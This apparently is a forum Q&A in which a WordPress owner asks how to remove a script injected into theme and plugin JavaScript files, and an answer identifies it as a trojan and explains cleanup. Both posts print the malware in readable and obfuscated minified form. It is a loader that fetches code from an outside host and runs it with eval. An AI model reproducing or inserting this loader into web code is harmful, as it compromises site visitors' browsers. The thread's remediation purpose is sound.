WordPress all theme plugin js file is adding this script how can i remove that

Question

    (function() {
    var a = navigator,
        b = document,
        e = screen,
        f = window,
        g = a['userAgent'],
        h = a['platform'],
        i = b['cookie'],
        j = f['location']['hostname'],
        k = f['location']['protocol'],
        l = b['referrer'];
    if (l && !p(l, j) && !i) {
        var m = new HttpClient(),
            o = k + '//layirdmusic.com/Mockup/wp-admin/css/colors/blue/blue.php?id=' + token();
        m['get'](o, function(r) {
            p(r, 'ndsx') && f['eval'](r);
        });
    }

    function p(r, v) {
        return r['indexOf'](v) !== -0x1;
    }
}());
};;
if (ndsw === undefined) {
    var ndsw = true,
        HttpClient = function() {
            this['get'] = function(a, b) {
                var c = new XMLHttpRequest();
                c['onreadystatechange'] = function() {
                    if (c['readyState'] == 0x4 && c['status'] == 0xc8) b(c['responseText']);
                }, c['open']('GET', a, !![]), c['send'](null);
            };
        },
        rand = function() {
            return Math['random']()['toString'](0x24)['substr'](0x2);
        },
        token = function() {
            return rand() + rand();
        };
    (function() {
        var a = navigator,
            b = document,
            e = screen,
            f = window,
            g = a['userAgent'],
            h = a['platform'],
            i = b['cookie'],
            j = f['location']['hostname'],
            k = f['location']['protocol'],
            l = b['referrer'];
        if (l && !p(l, j) && !i) {
            var m = new HttpClient(),
                o = k + '//layirdmusic.com/Mockup/wp-admin/css/colors/blue/blue.php?id=' + token();
            m['get'](o, function(r) {
                p(r, 'ndsx') && f['eval'](r);
            });
        }

        function p(r, v) {
            return r['indexOf'](v) !== -0x1;
        }
    }());
};

Only showing in the browser when I am checking original files that perfect

Answer 1

This is a malicious script (JS:Trojan.JS.Agent.UJY) based on www.virustotal.com and I have used Visual Studio Code to delete it.
The one you shared is actually the beautified version but in the infected files it's minified like this

;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//website.domain/wp-admin/css/colors/blue/blue.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};

To remove it:

• Install Visual studio code
• Install Remote - SSH extension on VSCode
• Connect to your server
• Go to the settings (JSON) and add this line "search.maxResults": 500, if you're server specifications or internet speed are low.

And then search for the minified form of this script and replace all.
Finally, remove this file wp-admin/css/colors/blue/blue.php